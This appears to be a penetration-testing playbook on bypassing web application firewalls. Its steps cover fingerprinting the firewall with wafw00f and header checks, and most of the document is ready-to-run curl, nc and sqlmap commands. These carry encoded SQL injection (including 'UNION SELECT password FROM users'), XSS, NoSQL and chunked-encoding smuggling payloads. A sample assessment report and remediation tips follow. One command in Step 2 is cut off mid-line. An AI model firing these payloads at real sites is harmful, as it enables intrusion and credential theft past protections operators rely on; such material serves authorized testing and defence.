Performing Web Application Firewall Bypass

When to Use

When confirmed vulnerabilities are blocked by WAF signature-based detection
During penetration testing where WAF prevents exploitation of known issues
When evaluating WAF rule effectiveness against evasion techniques
During red team engagements requiring bypass of perimeter security controls
When testing custom WAF rules for completeness and bypass resistance

Prerequisites

Burp Suite Professional with SQLMap integration
wafw00f for WAF fingerprinting and identification
SQLMap with tamper scripts for automated WAF bypass
Understanding of WAF detection mechanisms (signature, regex, behavioral)
Collection of encoding and obfuscation techniques per attack type
Knowledge of HTTP protocol nuances exploitable for evasion

Workflow

Step 1 — Identify and Fingerprint the WAF

# Detect WAF using wafw00f
wafw00f http://target.com

# Manual WAF detection via response headers
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"

# Trigger WAF with known bad payload and analyze response
curl "http://target.com/page?id=1' OR 1=1--" -v
# Look for: 403 Forbidden, custom block page, CAPTCHA challenge

# Common WAF indicators:
# Cloudflare: cf-ray header, __cfduid cookie
# AWS WAF: x-amzn-requestid
# ModSecurity: Mod_Security or OWASP CRS error messages
# Akamai: AkamaiGHost header
# Imperva: incap_ses cookie, visid_incap cookie

Step 2 — Bypass with Encoding and Obfuscation

# URL encoding bypass
curl "http://target.com/page?id=1%27%20OR%201%3D1--"

# Double URL encoding
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"

# Unicode encoding
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"

# HTML entity encoding in body
curl -X POST http://target.com/search \
  -d

curl

# Change HTTP method (WAFs may only inspect GET/POST)
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"

# Use HTTP/0.9 (no headers)
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80

# Content-Type manipulation
curl -X POST http://target.com/page \
  -H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
  -d "id=1' OR 1=1--"

# Multipart form data (may bypass body inspection)
curl -X POST http://target.com/page \
  -F "id=1' OR 1=1--"

# Chunked Transfer-Encoding
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80

# Parameter in unusual locations
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"

# HTTP Parameter Pollution
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"

# Split payload across parameters
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"

# JSON-based SQLi (many WAFs miss JSON payloads)
curl -X POST http://target.com/api/query \
  -H "Content-Type: application/json" \
  -d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'

# JSON SQL injection with operators
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt":"", "$where":"1==1"}}'

# XML-wrapped payloads
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d "<data><id>1' UNION SELECT password FROM users--</id></data>"

# SQLMap with built-in tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment

# Common tamper scripts for WAF bypass:
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between

# Multiple tamper scripts combined
sqlmap -u "http://target.com/page?id=1" \
  --tamper=randomcase,space2comment,between,charunicodeencode \
  --random-agent --level 5 --risk 3

# Custom WAF bypass profile
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,randomcase \
  --delay=2 --random-agent \
  --technique=B --batch

# Case variation
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"

# Event handler alternatives
curl "http://target.com/page?q=<img src=x oNerRor=alert(1)>"
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body onpageshow=alert(1)>"
curl "http://target.com/page?q=<marquee onstart=alert(1)>"

# JavaScript URI scheme
curl "http://target.com/page?q=<a href=javascript:alert(1)>click</a>"

# Template literal syntax
curl "http://target.com/page?q=<script>alert\x601\x60</script>"

# Concatenation-based bypass
curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"

# HTML encoding within attributes
curl "http://target.com/page?q=<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>"

# Double encoding
curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"

Concept	Description
Signature Evasion	Obfuscating payloads to avoid matching WAF regex patterns
Encoding Bypass	Using URL, Unicode, or HTML encoding to disguise malicious characters
Protocol-Level Bypass	Exploiting HTTP protocol features (chunked encoding, method override)
Tamper Scripts	SQLMap modules that transform payloads to evade specific WAF rules
Content-Type Confusion	Sending payloads in unexpected content types the WAF does not inspect
Parameter Pollution	Splitting payloads across duplicate parameters to evade per-parameter inspection
Behavioral vs Signature	WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder)

Tool	Purpose
wafw00f	WAF fingerprinting and identification
SQLMap	Automated SQL injection with WAF bypass tamper scripts
waf-bypass.com	Community-maintained WAF bypass payload database

## WAF Bypass Assessment Report
- **Target**: http://target.com
- **WAF Identified**: Cloudflare (via cf-ray header)
- **Bypass Achieved**: Yes

### WAF Detection Results
| Payload Type | Blocked | Bypass Found |
|-------------|---------|-------------|
| Basic SQLi | Yes | Yes (JSON encoding) |
| UNION SELECT | Yes | Yes (inline comments) |
| XSS <script> | Yes | Yes (SVG onload) |
| Path Traversal | No | N/A (not blocked) |

### Successful Bypass Payloads
| # | Original (Blocked) | Bypass Payload | Technique |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL version comments |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | Alternative tag+event |

### Remediation
- Enable JSON body inspection in WAF rules
- Implement behavioral analysis alongside signature detection
- Add rules for uncommon HTML tags and event handlers
- Enable deep content inspection for all HTTP methods
- Implement request normalization before rule evaluation
